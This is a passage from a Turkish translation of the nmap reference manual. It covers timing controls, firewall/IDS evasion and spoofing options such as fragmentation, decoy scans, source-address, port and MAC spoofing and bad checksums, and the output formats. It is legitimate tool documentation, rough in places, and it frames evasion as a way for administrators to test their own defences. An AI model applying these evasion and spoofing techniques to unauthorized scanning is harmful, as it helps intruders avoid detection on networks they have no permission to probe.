raporları çıkmaz.<br />

Bu sorunu önlemek için nmap grup boyunu 5 yaparak işleme başlar (ki<br />

ilk sonuçlar hemen alınabilsin) daha sonra artarak grup boyu 1024<br />

olana dek işlem sürdürülür. Verimlilik açısından UDP ve birkaç TCP kapı<br />

taraması için büyük gruplar kullanmak iyidir.<br />

Eğer en çok sunucu sayısı belirtilmişse nmap bu sayıyı aşmaz.<br />

Eğer en az sunucu sayısı büyük verilirse nmap daha hızlı sonuç<br />

üretebilir.<br />

Bu seçenek sunucu belirleme taramasında etkin değildir.<br />

--min-parallelism ;<br />

--max-parallelism (paralel mesaj ayarları)<br />

Bu seçenekler hem kapı hem de sunucu belirlemede bir grup için<br />

paralele gönderilecek mesaj saysını tanımlar. Aslında nmap paralel<br />

mesaj sayısını ağın ve sunucuların durumuna göre dinamik ayarlar.<br />

Eğer nmap mesajların kaybolduğunu anlarsa hemen hızı azaltır.<br />

En çok kullanılanı en az paralel işlem sayısıdır. Özellikle zayıf yanıt<br />

veren sunucuların bulunduğu gruplarda hızı arttırmak için gerekir.<br />

En büyük paralel işlem sayısı, bazen aynı sunucuya birden çok aynı<br />

mesajı göndermeyi engellemek için gerekir.


--min-rtt-timeout ,<br />

--max-rtt-timeout ,<br />

--initial-rtt-timeout (Adjust probe timeouts)<br />

nmap bir mesaja ne kadar süreyle yanıt bekleyeceğini bilmelidir.<br />

Bekleme ne kadar uzarsa, verimlilik o kadar düşer. Aslında nmap<br />

önceki bekleme sürelerine göre olası bekleme süresini dinamik olarak<br />

hesaplar. Eğer ağda bekleme fazlaysa hesaplanan süre bir kaç<br />

saniyeye kadar uzar. İnitial-rtt-timeout ve max-rtt-timeout küçük<br />

olursa varsayılan bekleme süreleri oldukça azalır.<br />

Eğer tüm sunucular yerel ağ üzerindeyse –max-rtt-timeout 100ms<br />

olarak belirlenebilir. --min-rtt-timeout çok az kullanılır. Ancak ağ çok<br />

değişken özellik gösterip nmap tarafından bile taranmakta zorlanılırsa<br />

bir değer verilmesi gerekebilir.<br />

--max-retries <br />

(En çok kapı tarama mesajı gönderme sayısı)<br />

Eğer nmap bir kapıda gönderilen mesaj için yanıt almamışsa, ya poty<br />

elenmiştir ya da mesaj ağ içinde kaybolmuştur. Yeniden gönderilmesi<br />

söz konusudur. Bu seçenekte yeniden gönderilecek mesajların sayısı<br />

bildirilir.<br />

--host-timeout (Yavaş hedef sunucularda vazgeçme süresi)<br />

Bazı sunucuları taramaz uzun zaman alır. Bunun nedenleri arasında<br />

ağda belirsizlik, uygun olmayan sunucu ve donanım bulunabilir.<br />

Sonunda bu seçeneği beklenecek en uzun süre olarak tanımlarsanız.<br />

Sunucuyu beklerken çok zaman kaybedilmemiş olunur.<br />

--scan-delay ;<br />

--max-scan-delay (mesaj aralarındaki süreyi ayarlamak)<br />

Sunucuya gönderilen mesajlar arasında bu seçenekte belirtilen kadar<br />

süre bırakılır. Solaris bir çok diğer makineler gibi gelen bir mesaja her<br />

saniye verdiği ICMP paketleriyle yanıt verir. Bu tür sunucularda<br />

bekleme zamanı alınacak yanıttan daha kısa olursa, yanıt alınmadan<br />

üst üste mesajlar gönderilmiş olunur.


Hız limitiyle bekleme süresi dengesi kurulduğunda tarama belirgin bir<br />

biçimde yavaşlar. Bu durumda –max-scan-delay seçeneği nmap için<br />

bir üst limit tanımlanmasına yardımcı olur.<br />

--scan-delay seçeneğinin diğer bir kullanım biçimi alt sınır tabanlı<br />

sızıntıları yakalamaktır (IDS/IPS). Bu teknik<br />

http://nmap.org/book/firewalls.html#defeating-ids-snort-portscan adlı<br />

sayfada homurdayan IDS için varsayılan kapı taramasını engelleyeni<br />

yenmiştir. Aynı biçimde bir çok sistemde sızma yerini arayan<br />

yenilebilir.<br />

--min-rate ;<br />

--max-rate (tarama hızını doğrudan kontrol etme)<br />

nmap dinamik zamanlama yöntemi aslında tarama için en uygun<br />

zamanı bulabilmektedir. Bazen ağ için de en uygun hız bilinmek<br />

istenebilir, ya da taramanın belli bir zamana değin bitmesi istenebilir.<br />

İşte –min-rate ve –max-rate bu amaç için tasarlanmıştır.<br />

Eğer –min-rate verilmişse nmap taramada kullanılan mesajları bu hız<br />

ölçüsünde gönderir. Diğeri (--max-rate) kullanılacak hızın daha fazla<br />

olmamasını sağlar.<br />

Hızlı bir ağ ortamında –max-rate 100 saniyede 100 mesaj<br />

gönderilmesine göre limitler. --max-rate 0.1 olursa her mesaj 10<br />

saniyede bir gönderilecek demektir.<br />

Bu değerler geneldir. Tüm tarama işlemini etkiler, yalnız bir sunucuya<br />

bağlı değildir.<br />

--defeat-rst-ratelimit<br />

Bir çok sunucu için uzun hız limitleri kullanılır. Amaç ICMP mesajlarının<br />

sayısını azaltmaktır (örneğin kapıya erişilemiyor türü mesajlar). Bazı<br />

sistemlerde RST (reset) mesajları için aynı şey yapılabilir. Nmap için bu<br />

mesajları dikkate alma demek buradaki seçeneği kullanarak olur.


--nsock-engine epoll|kqueue|poll|select<br />

Bu seçenekle nsock IO çoğaltmalı makinesinin kullanımı<br />

zorlanmaktadır. Yalnız select(2) tabanlı geri düşüş makinesinin var<br />

olduğu garanti edilir. Makineler IO yönetimiyle adlandırılırlar. Buradaki<br />

makinelerin adları şöyledir: epoll, kqueue, poll ve select. Tüm<br />

ortamlarda hepsi var denemez. Hangi makinelerin desteklendiğini<br />

görmek için nmap -V komutunu kullanmak gerekir.<br />

-T paranoid|sneaky|polite|normal|aggressive|insane<br />

(Zaman kalıbı hazırlama)<br />

Tartışılan zaman kontrolleri güçlü ve etkin olsa da bir çok insan<br />

bunların kafa karıştırıcı olduğu söylemektedir. Bazen bu süreleri<br />

ayarlamak için geçen zaman sizin yapmak istediğiniz işten daha çok<br />

zaman alabilir.<br />

Bu nedenle nmap 6 adet zaman çizelgesi sunar. Bunları -T seçeneği ile<br />

tanımlayabilirsiniz. Adları 0-5 arasında değişen numaralardır. Bu<br />

kalıplara paranoid-şüpheci(0), sneaky-yılanımsı(1), polite-kibar(2),<br />

normal-normal(3), aggressive-agresif(4) ve insane-acımasız(5) denir.<br />

İlk üçü IDS kaçamaklarıdır, kibar konumda nasıl scan yapılacağı<br />

gösterilir, normal konumda -T3 kullanılır. Agresif konumda hızlı bir<br />

ağda olduğunuz varsayılır. Son konumda sizin beklenenin üzerinde bir<br />

hızınız olduğu varsayılır.<br />

Güvenlik kalkanı/IDS kaçamakları ve gizlenme (spoofing)<br />

Bir çok Internet öncüsü herhangi iki düğüm arasında Sanal bağlantı kurarak<br />

evrensel IP adres uzayıyla geniş çaplı kaçamak bağlantı kurarlar. Bu<br />

sunucuların gerçek uç olmalarını ve aralarında bilgi paylaşımı yapmalarını<br />

sağlar. İnsanlar evdeki sistemlerine işten erişip iklim denetim ayarlarını<br />

değiştirebilirler ve kendisinden önce gelecek misafirlere kapıyı bile<br />

açtırabilirler. Bu tür bağlantı güvenlik ve adres uzayı sınırlamaları nedeniyle<br />

bastırıldı. 1990'larda kurumlar güvenlik kalkanları kullanmaya başladılar.<br />

Rahat yaşam kalktı, sınırsız bilgi akışı yerini onaylanmış kanalların iletişimine<br />

bıraktı.<br />

Bir ağı inceleyip haritasını çıkartmak güvenlik kalkanları yüzünden<br />

neredeyse imkansız hale geldi. Bundan daha kolay hiç olmayacak. Ama<br />

nmap o kadar çok özellik sunuyor ki bu ağları izlenebilir hale getirmek (bir<br />

ölçüde) söz konusu olabiliyor. Hatta elemelerin istendiği gibi çalıştığı da<br />

anlaşılabiliyor.


Ağ güvenliğinizin doğru çalışmadığını anlamanın en güzel yolu onu<br />

yıkmaktır. Kendinizi saldırganın aklında olanlara odaklı ve kullanabileceği<br />

tekniklerle saldırmaya başlayın. FTP geri tepme taraması başlatın,<br />

parçalanmış saldırı yapın ya da kendi proxy'leriniz üzerinden tünelleme<br />

yapın.<br />

Ağ erişimini sınırlamaya ek olarak firmalar sızıntı yakalama sistemleriyle<br />

(IDS gibi) ağlarındaki trafiği izlemektedirler. Bu ürünleri bir çoğu artık sızıntı<br />

önleme sistemine (IPS) dönüştüler bile. Maalesef ağ yöneticileri ve IDS<br />

satıcıları için bozuk paketleri yakalamak zor bir iştir. Sabırlı saldırganlar,<br />

becerileri ve bazı nmap seçeneklerini kullanarak IDS'leri fark edilmeden<br />

geçerler. Pek çok örnekte yöneticiler yanlış bulunan sonuçlarla alarm verilen<br />

ya da bloklanan gerçek uygulamalarla karşılaşabilirler.<br />

Bir çok kez nmap güvenlik kalkanını kıran özellikler sunmamalı, IDS'lerin<br />

arasından yılanca sızan yöntemler çıkartmamalı derler. Güvenliği geliştiren<br />

yöneticiler kadar saldırganlar da bu araçları kullanabilir derler. Burada sorun<br />

bu araçları saldırganların zaten kullanacakları, nmap olmasa da başka<br />

araçlarla ya da kendi geliştirdikleri yöntemlerle sonuca ulaşacaklarıdır. O<br />

zaman yöneticiler işlerini daha zor yapacak, sistemin nasıl delindiğini bile<br />

anlayamayacaklardır. Örneğin hatası giderilmiş bir FTP servisi, FTP<br />

tepmesiyle çalışan ve güvenlik kalkanıyla durdurulmaya çalışılan bir<br />

servisten her zaman daha kullanışlıdır.<br />

IDS sistemlerini ya da güvenlik kalkanını yıkmaya çalışanı engelleyecek bir<br />

nmap sihirli mermisi yoktur.<br />

-f (fragment packets); --mtu (belirtilen MTU kullanılarak)<br />

Bu seçenekteki tarama isteği (ping taraması da dahil) parçalanmış IP<br />

paketleri kullanır. Buradaki amaç TCP başlığını paketler bölüp, paket<br />

elemelerinin, sizi izleyenlerin anlayamayacağı mesaj oluşturmaktır.<br />

Eski okul sniffer programlarından olan sniffit bu tür ilk paketi alınca<br />

dump (döküm) verir. Bunu bir kez belirtince, nmap paketleri 8 bayt ya<br />

da daha küçük IP başlıklarına böler. Böylece 20 baytlık IP başlığı üç<br />

pakete dağılır. Tabi ki her parçanın kendi IP başlığı da vardır. -f<br />

seçeneğini her parçada 16 bayt başlık kullanacak biçimde<br />

tanımlayabilirsiniz (parça sayısını azaltmak için). Ya da başlangıcınızı<br />

-mtu ile değiştirebilirsiniz. Eğer –mtu kullandıysanız bir daha -f<br />

kullanmanız gerekmez. Başlangıç her zaman sekizin katları olmalıdır.<br />

Parçalanmış paketler paket elemeleri ve tüm parçaları birleştiren<br />

güvenlik kalkanları tarafından


yakalanamayınca, bazı ağlar oluşan verimlilik sorununu geçmek için<br />

paketleri bırakırlar. Diğerleri bunları bırakmazlar. Çünkü parçalar kendi<br />

ağlarında değişik yollara gidebilirler. Bazı kaynaklar çıkan paketleri<br />

parçalamayı daha kernel düzeyinde yaparlar. Linux (iptables ile) bu tür<br />

sistemlerden biridir. Eğer Wireshark adlı sniffer (koklayıcı) program<br />

varsa paketlerinizi parçalamayı unutmayın. Eğer sizin işletim<br />

sisteminiz sorun çıkarıyorsa “--send-eth” seçeneğini kullanarak IP<br />

katmanını kaldırıp ham ethernet parçaları göndermeye başlayın.<br />

Parçalama nmap ham paket özelliği için desteklenmektedir. TCP ve<br />

UDP kapı taraması (connect taraması ve FTP geri tepmesi buna dahil<br />

değildir) ve işletim sistemi belirleme bu kapsama girer.<br />

-D [,][,ME][,...] (Tuzaklarla taramayı perdelemek)<br />

Tuzak taraması yapılmasını sağlar. Hedef sunucuya da bu işlemde<br />

belirtilen sunucularda tuzak olduğu ve ağda tuzak araması yapıldığı<br />

benzeri bir durum meydana gelir. Böylece o sunucuların IDS'leri 5-10<br />

kapı taramasından bazı IP'lerin kapı taraması yaptığı ama hangisinden<br />

olduğunu anlayamadıklarını bildirir. Bunu yenmek için route yolunu<br />

izleme, yanıt-düşürme (response-dropping) ve diğer aktif işlemlerle<br />

yenilebilir. Bu IP adresinizi saklamak kadar önemli ve kullanışlıdır.<br />

Tuzak sunucular virgülle ayrılır. Kendi gerçek IP adresinizi gösteren<br />

ME'yi tuzaklardan biri olarak da belirtebilirsiniz. Eğer ME'yi altıncı<br />

pozisyona ya da sonrasına koyarsanız, bazı kapı taramasını yakalayan<br />

araçlar (Solaris'deki Scanlogd gibi), sizin IP adresinizi gösteremezler.<br />

Eğer ME kullanmazsanız nmap sizi rastgele bir pozisyona yerleştirir.<br />

RND de kullanabilirsiniz. RND rastgele çözümlenemeyecek IP adresleri<br />

üretir. Ya da doğrudan “RND: ” ile kadar adres<br />

üretebilirsiniz.<br />

Dikkat edilecek şey sizin tuzak olarak tanımladığınız sunucular<br />

çalışıyor olmalı ya da hedefinize kaza ile SYN akını yapmalıdır. Tabi ki<br />

sunuculardan ancak biri ağ içinde çalışır durumdaysa hangi sunucunun<br />

taramayı yaptığını bilmek kolay olur. Adlar yerine IP adreslerini<br />

kullanmak isterseniz tuzak sunucular sizi kendi nameserver (ad<br />

sunucu) kayıtlarında göremezler.


Tuzaklar ilk ping taramasında (ICMP, SYN, ACK vb.) ve gerçek kapı<br />

tarama adımında kullanılır. Tuzaklar hedefin işletim sistemini<br />

belirlerken (-O) de kullanılır. Tuzaklar sürüm belirleme ve TCP connect<br />

taramasında kullanılamaz. Eğer tarama beklemesi (scan delay)<br />

devredeyse, bekleme gizlenen mesajlar topluluğunun arasında<br />

kullanılır. Çünkü batch topluca gönderildiğinden bekleme sınırlarını<br />

zorlayabilirler.<br />

Not almaya değer bir konu da çok fazla tuzak kullanmak kedi<br />

taramanızı yavaşlatır ve doğan olarak daha az doğru sonuç<br />

oluşmasına neden olabilir. Bazı ISS (Internet servis sağlayıcılar) sizin<br />

gizlenmiş paketlerinizi eleyebilir. Ama bir çoğu gizlenmiş IP paketlerini<br />

kontrol edemez bile.<br />

-S (Kaynak adresini gizlemek)<br />

Bazı durumlarda nmap sizin kaynak IP adresinizi saptayamayabilir<br />

(nmap bu durumu size bildirir). Bu durumda “-S” seçeneği ile hangi<br />

arayüzün hangi IP numarasını kullandığınızı bildirmeniz gerekebilir.<br />

Bu seçeneğin bir başka kullanılabilecek özelliği, IP numarasını<br />

gizlemektir. Hedef kendilerini bir başkasının taradığını sanır. Bu tür<br />

kullanım için -e ve -Pn seçenekleri de gerekir. Unutmayın ki artık size<br />

yanıt gelmeyecektir. Yanıtlar gizlendiğiniz IP'ye gider. Yani nmap<br />

kullanılabilir raporlar üretemez.<br />

-e (Kullanıcının belirlediği arayüz)<br />

Bu seçenekle nmap'in hangi arayüzü kullanacağı belirtilmiş olur.<br />

Kullanamazsa size bildirir.<br />

--source-port ;<br />

-g (Kaynak kapı numarasını gizlemek)<br />

Hayretle izlenen ortak hata ağ trafiğine yalnız kaynağın kapısına bağlı<br />

kalınmasıdır. Sorunlara güvenli yaklaşım, uygulama düzeyinde<br />

proxy'ler ya da protokol tarayan güvenlik kalkanları olabilir. Tabi ki<br />

daha kolay ve güvenli olmayan çözümler de vardır. Tüm DSN komutları<br />

53 nolu kapıdan, ftp komutları 20 nolu kapıdan gelir. Bir çok güvenlik<br />

yöneticisi bu kapılardan gelecek mesajlara kapılarını açarlar. Bu<br />

kapıların saldırganlar tarafından bulunmayacağını sanırlar.


Yalnız çok çalışan yöneticiler bu tuzağa düşmezler. Pek çok sunucu<br />

kuruluşunda bu açık zaten vardır. Microsoft bile bu konuda suçludur.<br />

Örneği 88 nolu kapıya (Kerberos) gelen tüm TCP ve UDP mesajlarına<br />

izin verilir (windows-2000 ve windows-xp). Ya da kişisel güvenlik<br />

kalkanlarında dışarıdan 53 (DNS) ya da 67 (DHCP) kapılarına gelen<br />

mesajlara izin verilmesidir.<br />

Bu zayıf noktayı saptamak için Nmap hem -g hem de –source-port<br />

seçeneklerini sunmaktadır. Amaç nmap tarafından paketlerin belirtilen<br />

kapıdan gönderilmesidir. Bir çok tarama işleminde kullanılan ham<br />

paketlerde bu seçenek desteklenmektedir.<br />

--data-length (gönderilen paketlere rastgele veri eklemek)<br />

Normal koşullarda nmap yalnız paket başlığı olan en küçük paketler<br />

gönderir (TCP paketleri 40 bayt, ICMP yankı yanıtları ise 28 bayt olur).<br />

Bazı UDP kapıları ve IP protokolleri varsayılan olarak alışılagelen<br />

yükleri vardır. Bu seçenekle nmap programına pakete verilen<br />

uzunlukta rastgele bilgi içeren ek yapılması görevi verilir. “-O”<br />

seçeneğiyle yapılan işletim sistemi belirleme bundan etkilenmez. Bu<br />

seçenek doğal olarak hızı biraz etkiler.<br />

--ip-options ;<br />

--ip-options (belirtilen IP seçenekleriyle veri göndermek)<br />

IP protokolü paket başlığına eklenecek bir kaç seçenek sunar. TCP'ye<br />

orakla IP seçenekleri pek kullanılmaz. Nedeni bu konuda güvenliğin<br />

sağlanmış olmasındandır. Zaten bir çok Internet router cihazı kaynak<br />

yönlendirmesi gibi tehlikeli seçenekleri engellemektedir. Hedef<br />

sunucuya ağ yönlendirmesini saptamak gibi konularda hala bazı<br />

yararlı işlemler yapılabilir.<br />

Bu konuda daha neler yapılabileceğini görmek için<br />

http://seclists.org/nmap-dev/2006/q3/52 web sayfasına bakabilirsiniz<br />

--ttl (IP için bırakmanın zamanıdır bilgi alanı)<br />

IPv4 zaman aşımı süresini belirtmek için kullanılır.


--randomize-hosts (hedef sunucu sırasını rastgele karıştırmak)<br />

nmap programına içinde 16384 kadar sunucu bulunan grupların<br />

sunucu sıralarını tarama başlamadan karıştırmasını bildirir. Böylece<br />

bazı ağ yönetim sistemlerine karışık tarama sistematik tarama gibi<br />

gözükmek. Bir başka çözüm ise hedef sunucu IP listesini tarama<br />

listesinden yararlanarak elde etmek (-sL -n -oN ) ve bir<br />

Perl programıyla karıştırmaktır. Daha sonra tüm liste nmap programına<br />

-iL ile sunulur.<br />

--spoof-mac <br />

(MAC adresini gizlemek)<br />

Bu seçenekle nmap programına gönderdiği tüm raw ethernet<br />

parçalarında MAC adres olarak burada yazılanı kullanması söylenir. Bu<br />

seçenek “--send-eth” seçeneğini ima eder. Ver,len MAC bir çok kalıpta<br />

olabilir. Eğer yalnız 0 girilmişse nmap oturum için tümüyle rastgele bir<br />

MAC adresi seçer. Eğer yazılan onaltılı sayılarsa aralarında ':' bulunur.<br />

Eğer 12'den az bayt yazılırsa nmap arkasını rastgele sayılarla doldurur.<br />

Nmap olası çakışmaları önlemek, üretici firma çelişkilerini kaldırmak<br />

için gereken düzeltmeleri kendisi yapar.<br />

--badsum (kontrol toplamı bozuk TCP/UDP paketleri gönderme)<br />

Burada amaç TCP, UDP ve SCTP kontrol toplamlarını (checksum) hatalı<br />

girmektir. Genelde tüm IP yığınları (stack) bu tür paketleri hemen siler<br />

ama gelecek bir yanıt olursa da ya güvenlik kalkanından ya da<br />

IDS'dendir. Ayrıntılar için http://nmap.org/p60-12.html adresine<br />

bakabilirsiniz.<br />

--adler32 (SCTP için CRSC32C yerine artık kullanılmayan Adler32 kullan)<br />

Bu seçenekle SCTP kontrol toplamı için eski Adler32 algoritması<br />

kullanılması nmap programına iletilir. Burada amaç eski yöntemle<br />

üretilen kontrol toplamına sistemlerin nasıl yanıt verdiğinin<br />

bulunmasıdır.<br />

Çıktılar<br />

Her hangi bir güvenlik aracı ürettiği çıktıların anlaşılabilirliği ve çokluğuyla<br />

değer kazanır. Karmaşık deney ve algoritmaların değeri öyle çok değildir.<br />

Nmap kullanıcıları, ve bunu çağıran diğer yazılımlar göz önüne alındığında<br />

tek kalıptan çıkan bir rapor kimseyi mutlu etmeyecektir. Bu nedenle nmap<br />

bir çok kalıp sunar. Bunların arasında insanlar için etkileşimli konumda ve<br />

XML kalıplarında üretilen çıktı biçimleri de vardır.


Değişik çıktı kalıplarına ek olarak nmap çıktılardaki ayrıntıların kontrolünü ve<br />

denemelerde kullanılan açıklamaları da kullanıcıya sunar. Çıktılar yazıcıya<br />

gönderilebileceği gibi adlandırılan bir dosyaya da taşınabilir. Çıktı dosyaları<br />

çalışamayan dump eden oturumlarda sorunu anlamak için de kullanılır.<br />

Nmap çıktıları beş değişik kalıpta hazırlar. Varsayılanı etkileşimli çıktıdır ve<br />

terminale gönderilir. Normal çıktı da vardır. Etkileşimliye benzer terminale<br />

gönderilir ama daha az çalışma zamanı bilgisi ve uyarıları içerir.<br />

XML çıktısı en önemli çıktı kalıplarından biridir. HTML'e çevrilebilir,<br />

programlar tarafından kolaylıkla çözümlenebilir ve grafik arayüzü kullanan<br />

programlarla kullanılabilir ve veri tabanına taşınabilir.<br />

Geride kalan iki çıktı biçimi “grep” ile kullanılabilecek çoğu hedef sunucuya<br />

ait çıktılar ve kendilerini


Nmap Çıktı Kalıpları<br />

-oN (normal çıktı)<br />

Normal çıktı belirtilen dosya adına taşınır.<br />

-oX (XML çıktısı)<br />

Burada XML çıktısının doğrudan bir dosyaya yazılması<br />

istenmektedir. Nmap XML ile birlikte Doküman tipi tanımı (DTD)<br />

de hazırlar. Böylece XML çözümleyen program nmap XML<br />

çıktısının geçerliliğini kontrol edebilir. En son sürüm her zaman<br />

https://svn.nmap.org/nmap/docs/nmap.dtd adresinden<br />

sağlanabilir.<br />

XML değişmez bir kalıp hazırlar. Bunun gramerinin programla<br />

incelenmesi her zaman kolaydır. XML dil bilimi (grammer)<br />

incelemesi birçok programlama dili için ücretsiz olarak vardır.<br />

Nmap çıktılarında XML tüm uygulamalar için en kullanışlı kalıptır.<br />

XML çıktısı HTML olarak kullanılabilecek XSL stil sayfaları da<br />

üretir. Bunun en kolay yolu XML çıktısını Firefox ya da IE gibi bir<br />

tarayıcıya yüklemektir. Varsayılan olarak bu yöntem nmap'in<br />

çalıştırıldığı sunucu için geçerlidir. “--webxml” ya da<br />

“--stylesheet” seçenekleri taşınabilir XML dosyaları üretmek için<br />

gereklidir. Bunlar taşındıkları yerde HTML olarak görünebilirler.<br />

-oS (ScRipT KIdd|3 çıktısı)<br />

Bu çıktı aynı etkileşimli çıktı gibidir. Yazımı ve diğer özellikleriyle<br />

eğlenceye dönük bir çalışmadır.<br />

-oG (grep ile içindekiler aranabilecek çıktı)<br />

Bu çıktı biçimi en son ele alındı çünkü artık kullanılmamaktadır.<br />

XML biçimi buna göre çok daha kullanışlıdır.<br />

-oA (Her tür kalıba uygun çıktılar)<br />

Bu biçimde tanım yapıldığında kalıbın türüne göre dosya adı<br />

.xml, .nmap gibi adlar<br />

alır..


Ayrıtılar ve onarım çıktısı seçenekleri<br />

-v (ayrıntı düzeyini yükselt) , -v<br />

Ayrıntı düzeyini yükseltmek için kullanılır. Böylece tarama<br />

hakkında daha geniş bilginin yazılması sağlanır. Bulunan açık<br />

kapılar gösterilir, nmap tarama uzun sürecekse (dakikalar<br />

düzeyinde) tamamlanma süresi bildirilir. Daha çok ayrıntı için bir<br />

kez daha kullanılabilir. Örnek “-v3”.<br />

Bir çok değişiklik yalnız etkileşimli çıktıyı etkiler. Diğer çıktılar<br />

daha çok makineler için olduğundan varsayılan olarak gereken<br />

ayrıntı zaten verilmiştir. Bazı ayrıntılar istenirse yazdırılır.<br />

Örneğin grep çıktısında taranan kapılara ilişkin açıklama ancak<br />

istenirse eklenir, çünkü gereğinden çok daha uzun olabilir. Diğer<br />

çıktılarda yapılacak bir kaç değişiklikle ayrıntılar atlanarak çıktı<br />

boyu kısaltılabilir.<br />

-d (onarımların düzeyini yükselt) , -d<br />

Ayrıntılar size hala istenilen bilgiyi sağlayamamışsa, onarımlarda<br />

kullanılan çıktıların düzeyini yükselterek daha fazla bilgi sahibi<br />

olabilirsiniz. Bu seçenek “-g” ile etkinleştirilir. Ayrıca onarım<br />

düzeyini “-d” seçeneği, büyüterek daha fazla bilgi edinebilirsiniz.<br />

--reason (Sunucu ve kapı durumu)<br />

Her kapının neden belirgin bir konumda olduğu ve sistemin<br />

neden çalışır ya da kapalı olduğu bu seçenekle gösterilir. Bu<br />

seçenek sunucu ya da kapının durumunu gösteren paketi<br />

yazdırır. Kapalı kapıdan gelen bir RST paketi ya da canlı bir<br />

kapıdan gelen yankı yanıtı bu tür paketlerdir. Nmap tarafından<br />

verilen bilgi tarama mı yoksa ping işlemi mi olduğuna göre<br />

değişir. Onarım seçeneği başlatılınca bu otomatik olarak<br />

etkinleştirilir. Sonuçlar XML dosyasına yazılır.<br />

--stats-every (periyodik zaman durumlarını yaz)<br />

Belirtilen zaman aralığı sonunda zamanlama durum<br />

mesajı yazdırı. Örneğin “--stats-every 10s” seçeneği her 10<br />

saniyede durum güncellemesi yapılıp yazdırılması anlamına<br />

gelir.


--packet-trace (Paketleri, gönderilen verileri ve alınanları izle)<br />

Nmap her gönderilen ve alınan paket bir özetini yazdırır. Binlerce<br />

satır yazdırmak yerine “-p20-30” seçeneğinde olduğu gibi<br />

seçilen kapılara ilişkin özet bilgiyle yetinmek isteyebilirsiniz.<br />

Yalnız sürüm belirlemeyle ilgili izleme için “--version-trace”<br />

seçeneğini kullanabilirsiniz. Kullanılan programları izlemek için<br />

“--script trace” kullanılırken “--paket-trace” hepsini içerir.<br />

--open (Yalnız açık ya da açık olabilecek kapıları göster)<br />

Bazı koşullarda siz yalnız bağlanabileceğiniz kapılarla<br />

ilgilenirsiniz. Kapalılar, kapalı|elemeliler ve elemelilerin sonuçları<br />

sizi ilgilendirmez. İsteklere göre çıktı taraması grep, awk ve Perl<br />

sonrasında yapılır. Ancak bu özellikler istek üzerine eklenmiştir.<br />

“--open” kullanıldığında açık, açık|elemeli, ya da elemesiz<br />

kapıların yazılması istenir.<br />

--iflist (arayüzleri ve route (yönlendirme) listeleri)<br />

Nmap tarafından saptanan arayüzleri ve yönlendirmeleri<br />

yazdırır. Bu yönlendirme sorunlarını düzeltmek için kullanılabilir.<br />

Diğer çıktı Seçenekleri<br />

--append-output (Çıktıları dosyaya ekle)<br />

Bir çıktı için dosya_adı tanımlamışsanız (-oX ya da -oN gibi), o<br />

dosyanın varsayılan olarak üzerine yazılır, eski bilgiler silinir. Eski<br />

bilgileri saklamak isterseniz “--append-output” seçeneğini<br />

kullanırsınız. Ancak bu işlem XML dosyası için çok güzel<br />

çalışmaz. Sonunda çıkan dosyayı elinizle düzeltmeden programla<br />

taranıp anlamlı sonuç elde edilmesi olanaksız olur.<br />

--resume (Dump eden taramayı durdur)<br />

Bazı Nmap çalışmaları günlerce sürebilir. Bunlar her zaman son<br />

bulmaz da. Sınırlamalar nmap programının iş saatlerinde<br />

çalışmasını engelleyebilir. Ağ işlemez duruma gelebilir. Beklenen<br />

ya da beklenmeyen yeniden başlatmalar (reboot) olabilir. Ctrl-C<br />

tuşlarına basıp tüm taramayı baştan başlatmak söz konusu<br />

olabilir. Eğer “--resume” seçeneği kullanılır ve dosya adı olarak<br />

normal/grep dosyalarından birinin adı verilirse nmap kaldığı<br />

yerden taramaya devam edebilir. Yeni bulunan sonuçlar da bu<br />

dosyanın arkasına eklenir.


--stylesheet <br />

(Set XSL stylesheet to transform XML output)<br />

Nmap XML çıktılarını HTML olarak görüntülenmesi için nmap.xsl<br />

dosyasıyla birlikte gönderilir. XML çıktısı içinde xml stil sayfaları<br />

komutları bulunur ve nmap.xml dosyasını gösterir. XSLT<br />

işlemciyle (xlstproc gibi) XML dosyası çalıştırıldığında HTML<br />

dosyası elde edilir. XML dosyasının doğrudan web tarayıcı altında<br />

açılması artık düzgün çalışmamaktadır. Eğer farklı stil sayfaları<br />

kullanılacaksa “--stylesheet” seçeneği ile tanımlanabilir. Örneğin<br />

“--stylesheet http://nmap.org/svn/docs/nmap.xsl”. Aynı işlem “--<br />

webxml” seçeneğiyle de yapılabilir. Eğer URL adresinden XSL<br />

alınırsa, üzerinde nmap olmayan sunucuda da HTML dosyası<br />

elde edilebilir.<br />

--webxml (Yazma stillerini Nmap.Org sitesinden indir)<br />

“--stylesheet” seçeneğiyle aynıdır.<br />

--no-stylesheet (XML içinde XSL stillerini görme)<br />

Nmap programının XSL üretmemesi için kullanılır.<br />

Diğer Seçenekler<br />

Önemli ya da önemsiz ama hiç bir yere uymayan seçenekler burada<br />

anlatılmıştır.<br />

-6 (IPv6 taramasını etkinleştir)<br />

Nmap'in en ünlü seçenlerinden biri IPv6 desteği olmasıdır. Ping ve kapı<br />

taramada, sürüm belirlemede ve nmap program makinesinde IPv6<br />

desteği vardır. Genel dil kuralı diğer seçeneklerde aynen kullanılır ama<br />

ek olarak “-6” seçeneği de yazılmalıdır. Eğer sunucu adı yerine<br />

adresini yazacak olursanız burada IPv6 standardı kullanmanız<br />

gerekecektir. Önerilen sunucu adının kullanılmasıdır çünkü IPv6 adresi<br />

3ffe:7501:4819:2000:210:f3ff:fe03:14d0 gibidir. Çıktı da benzerdir<br />

ama ilgilenen kapı adresleri IPV6 türündendir.


Şu anda IPv6 adreslemesi pek kullanılıyor görünmese de bazı ülkelerde<br />

etkinliği artmakta, yeni işlem sistemlerince desteklenmesi<br />

sürmektedir. Nmap tarafından kullanılabilmesi için hem hedef hem de<br />

kaynak <strong>bilgisayar</strong>lar IPv6 için ayarlanmış olmalıdır. Eğer ISS sizin için<br />

bir IPV6 ataması yapmamışsa, ücretsiz tünel sunanlar her tarafta<br />

varlar ve nmap ile kolaylıkla çalışırlar. Ücretsiz IPv6 tünel sağlayıcıları<br />

için http://www.tunnelbroker.net/ adresine bakın.<br />

Windows ortamında IPV6 taraması ethernet cihazlarında<br />

desteklenmektedir (tüneller kullanılamaz).<br />

-A (agresif tarama seçenekleri)<br />

Bu seçenek ek agresif ve gelişmiş seçenekleri etkinleştirir. Şu anda bu<br />

seçenekle işletim sistemi tanımlama (-O), sürüm belirleme (-sV),<br />

program tarama (-sC) ve “traceroute” bu seçeneğe eklenebilir.<br />

Gelecekte başka özellikler de eklenebilir. Önemli olan insanların bir<br />

çok parametreyi kullanmak için ezberlemesine gerek olmadan bu<br />

seçenekleri kullanabilmeleridir. “-A” seçeneğini hedef ağlarda izin<br />

almadan kullanmak doğru olmayabilir. “-T4 ve -V” seçenekleriyle<br />

beraber kullanılması da doğru değildir.<br />

--datadir (Nmap veri dosyası yolunu tanımlama)<br />

